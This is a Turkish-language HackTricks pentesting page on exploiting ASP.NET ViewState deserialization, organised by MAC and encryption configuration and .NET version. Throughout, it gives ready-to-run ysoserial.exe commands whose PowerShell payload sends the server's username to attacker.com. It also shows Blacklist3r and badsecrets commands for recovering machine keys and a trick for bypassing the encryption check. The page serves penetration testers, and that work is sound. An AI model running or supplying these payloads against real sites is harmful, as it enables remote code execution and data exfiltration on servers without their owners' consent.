17 KiB
__VIEWSTATE Parametresini Sırları Bilmeden Sömürme
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklam vermek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.
Eğer hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı polonyaca yazılı ve konuşulan gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
ViewState Nedir
ViewState, ASP.NET'te sayfa ve kontrol verilerini web sayfaları arasında korumak için varsayılan mekanizma olarak hizmet verir. Bir sayfanın HTML olarak işlenmesi sırasında, sayfanın mevcut durumu ve bir postback sırasında korunması gereken değerler base64 kodlu dizilere seri hale getirilir. Bu dizeler daha sonra gizli ViewState alanlarına yerleştirilir.
ViewState bilgisi aşağıdaki özellikler veya bunların kombinasyonları ile karakterize edilebilir:
-
Base64:
-
Bu format, hem
EnableViewStateMac
hem deViewStateEncryptionMode
öznitelikleri false olarak ayarlandığında kullanılır. -
Base64 + MAC (Message Authentication Code) Etkin:
-
MAC'nin etkinleştirilmesi,
EnableViewStateMac
özniteliğinin true olarak ayarlanmasıyla elde edilir. Bu, ViewState verileri için bütünlük doğrulaması sağlar. -
Base64 + Şifreli:
-
Şifreleme,
ViewStateEncryptionMode
özniteliği true olarak ayarlandığında uygulanır ve ViewState verilerinin gizliliğini sağlar.
Test Durumları
Resim, .NET framework sürümüne dayalı olarak ASP.NET'te ViewState için farklı yapılandırmaları detaylandıran bir tablodur. İçeriğin özeti aşağıda verilmiştir:
-
Herhangi bir .NET sürümü için, hem MAC hem de Şifreleme devre dışı bırakıldığında, bir MachineKey gerektirilmez ve dolayısıyla tanımlamak için uygulanabilir bir yöntem yoktur.
-
4.5 sürümünden önceki sürümler için, MAC etkinleştirilmiş olsa da Şifreleme devre dışı bırakıldığında, bir MachineKey gereklidir. MachineKey'i tanımlamak için kullanılan yöntem "Blacklist3r" olarak adlandırılır.
-
4.5 sürümünden önceki sürümler için, MAC etkin veya devre dışı olsa da, Şifreleme etkinleştirildiğinde bir MachineKey gereklidir. MachineKey'i tanımlamak "Blacklist3r - Gelecekteki Geliştirme" görevidir.
-
4.5 ve sonraki sürümler için, MAC ve Şifreleme kombinasyonlarının tümü (hem ikisi true, hem biri true ve diğeri false olsa da) bir MachineKey gerektirir. MachineKey, "Blacklist3r" kullanılarak tanımlanabilir.
Test Durumu: 1 – EnableViewStateMac=false ve viewStateEncryptionMode=false
Ayrıca, AspNetEnforceViewStateMac
kayıt defteri anahtarını sıfıra ayarlayarak ViewStateMAC'yi tamamen devre dışı bırakmak da mümkündür:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
ViewState Özniteliklerini Belirleme
ViewState'nin MAC ile korunup korunmadığını belirlemek için BurpSuite ile bu parametreyi içeren bir isteği yakalayarak deneyebilirsiniz. Eğer parametre korumak için Mac kullanılmıyorsa, YSoSerial.Net kullanarak bunu sömürebilirsiniz.
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Test Case 1.5 – Test Case 1 gibi ViewState çerezi sunucu tarafından gönderilmez
Geliştiriciler, ViewState'in bir HTTP İsteğinin bir parçası olmasını engelleyebilir (kullanıcı bu çerezi almayacaktır).
ViewState'in mevcut olmadığını varsayabiliriz, bu durumda ViewState deserializasyonuyla ilgili herhangi bir potansiyel güvenlik açığından korunduğumuzu düşünebiliriz.
Ancak durum böyle değildir. ViewState parametresini istek gövdesine ekler ve ysoserial kullanarak oluşturduğumuz seri hedefimizi gönderirsek, yine de kod yürütme elde edebiliriz, Case 1'de gösterildiği gibi.
Test Case: 2 – .Net < 4.5 ve EnableViewStateMac=true & ViewStateEncryptionMode=false
Bir belirli bir sayfa için ViewState MAC'ini etkinleştirmek için belirli bir aspx dosyasında aşağıdaki değişiklikleri yapmamız gerekmektedir:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
Genel olarak, aşağıda gösterildiği gibi web.config dosyasında ayarlayarak uygulama için de yapabiliriz:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
Parametre bu sefer MAC korumalı olduğu için saldırıyı başarıyla gerçekleştirmek için öncelikle kullanılan anahtara ihtiyacımız var.
Kullanılan anahtarı bulmak için Blacklist3r(AspDotNetWrapper.exe) 'ı deneyebilirsiniz.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets, bilinen machineKeys'i tespit edebilen başka bir araçtır. Python ile yazıldığı için Blacklist3r gibi Windows bağımlılığı yoktur. .NET viewstate'leri için, kullanmanın en hızlı yolu olan "python blacklist3r" adında bir yardımcı program bulunmaktadır.
Görünüm durumu ve üreteci doğrudan sağlanabilir:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
Veya, doğrudan hedef URL'ye bağlanabilir ve HTML'den viewstate'i çıkarmayı deneyebilir:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
Ölçeklenebilir bir şekilde zayıf viewstate'leri aramak için, alt alan taraması ile birlikte badsecrets
BBOT modülü kullanılabilir:
bbot -f subdomain-enum -m badsecrets -t evil.corp
Eğer şanslıysanız ve anahtar bulunursa, YSoSerial.Net: kullanarak saldırıya devam edebilirsiniz.
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
_SERVER tarafından _VIEWSTATEGENERATOR
parametresi gönderilmediği durumlarda --generator
parametresini belirtmeniz gerekmez, ancak bunları belirtmelisiniz:
--apppath="/" --path="/hello.aspx"
Test Durumu: 3 – .Net < 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true
Bu durumda, parametrenin MAC ile korunup korunmadığı bilinmemektedir. Bu durumda, değerin muhtemelen şifreli olduğu ve zafiyeti sömürmek için payload'ınızı şifrelemek için Makine Anahtarına ihtiyacınız olacağı anlamına gelir.
Bu durumda Blacklist3r modülü geliştirilmektedir...
.NET 4.5 öncesinde, ASP.NET, ViewStateEncryptionMode
Her zaman olarak ayarlanmış olsa bile, kullanıcılardan şifrelenmemiş bir ___VIEWSTATE
_ parametresini kabul edebilir. ASP.NET, sadece istekte __VIEWSTATEENCRYPTED
parametresinin varlığını kontrol eder. Bu parametreyi kaldırırsanız ve şifrelenmemiş payload gönderirseniz, yine de işlenecektir.
Bu nedenle, saldırganlar, ViewState deserialization zafiyetini kullanarak RCE gerçekleştirmek için YSoSerial.Net komutunu 2. Durumda kullanıldığı gibi, dosya gezintisi gibi başka bir zafiyet aracılığıyla Makine Anahtarını elde etme yolunu bulurlarsa kullanabilirler.
- ViewState deserialization zafiyetini sömürmek için istekten
__VIEWSTATEENCRYPTED
parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve saldırı başarısız olacaktır.
Test Durumu: 4 – .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false, ancak her iki özelliğin de false olarak ayarlanması
Aşağıdaki gibi web.config dosyasının içine aşağıdaki parametreyi belirterek ASP.NET framework'ün kullanımını zorlayabiliriz.
<httpRuntime targetFramework="4.5" />
Alternatif olarak, bunu web.config dosyasının machineKey
parametresi içine aşağıdaki seçeneği belirterek yapabilirsiniz.
compatibilityMode="Framework45"
Önceki gibi değer şifrelenmiştir. Dolayısıyla, geçerli bir saldırı yükü göndermek için saldırganın anahtara ihtiyacı vardır.
Kullanılan anahtarı bulmak için Blacklist3r(AspDotNetWrapper.exe) 'ı deneyebilirsiniz:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
IISDirPath ve TargetPagePath için daha detaylı bir açıklama için buraya bakın.
Veya, Badsecrets ile (bir üreteç değeriyle):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
Geçerli bir Makine anahtarı belirlendikten sonra, bir sonraki adım YSoSerial.Net kullanarak seri hale getirilmiş bir payload oluşturmaktır.
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
Eğer __VIEWSTATEGENERATOR
değerine sahipseniz, bu değeri kullanarak --generator
parametresini deneyebilir ve --path
ve --apppath
parametrelerini atlayabilirsiniz.
ViewState deserialization açığı başarılı bir şekilde sömürüldüğünde, kullanıcı adını içeren saldırgan tarafından kontrol edilen bir sunucuya yönelik bir out-of-band isteği gerçekleşir. Bu tür bir saldırı, "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" adlı bir kaynakta bulunan bir kanıt olarak gösterilir. Sömürü sürecinin nasıl çalıştığı ve Blacklist3r gibi araçları kullanarak MachineKey'i belirleme konusunda daha fazla ayrıntı için sağlanan Successful Exploitation PoCu inceleyebilirsiniz.
Test Durumu 6 - ViewStateUserKeys kullanılıyor
ViewStateUserKey özelliği, bir CSRF saldırısına karşı savunma olarak kullanılabilir. Eğer uygulamada böyle bir anahtar tanımlanmışsa ve yukarıda tartışılan yöntemlerle ViewState payload'u oluşturmaya çalışırsak, payload uygulama tarafından işlenmeyecektir.
Doğru bir şekilde payload oluşturabilmek için bir tane daha parametre kullanmanız gerekmektedir:
--viewstateuserkey="randomstringdefinedintheserver"
Başarılı Saldırının Sonucu
Tüm test durumları için, eğer ViewState YSoSerial.Net payload'u başarılı bir şekilde çalışıyorsa, sunucu "500 Internal server error" yanıtıyla yanıt verir ve yanıt içeriği "The state information is invalid for this page and might be corrupted" olur ve OOB isteği alırız.
Daha fazla bilgi için buraya bakın.
Referanslar
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
Eğer hacking kariyeri ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklam vermek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.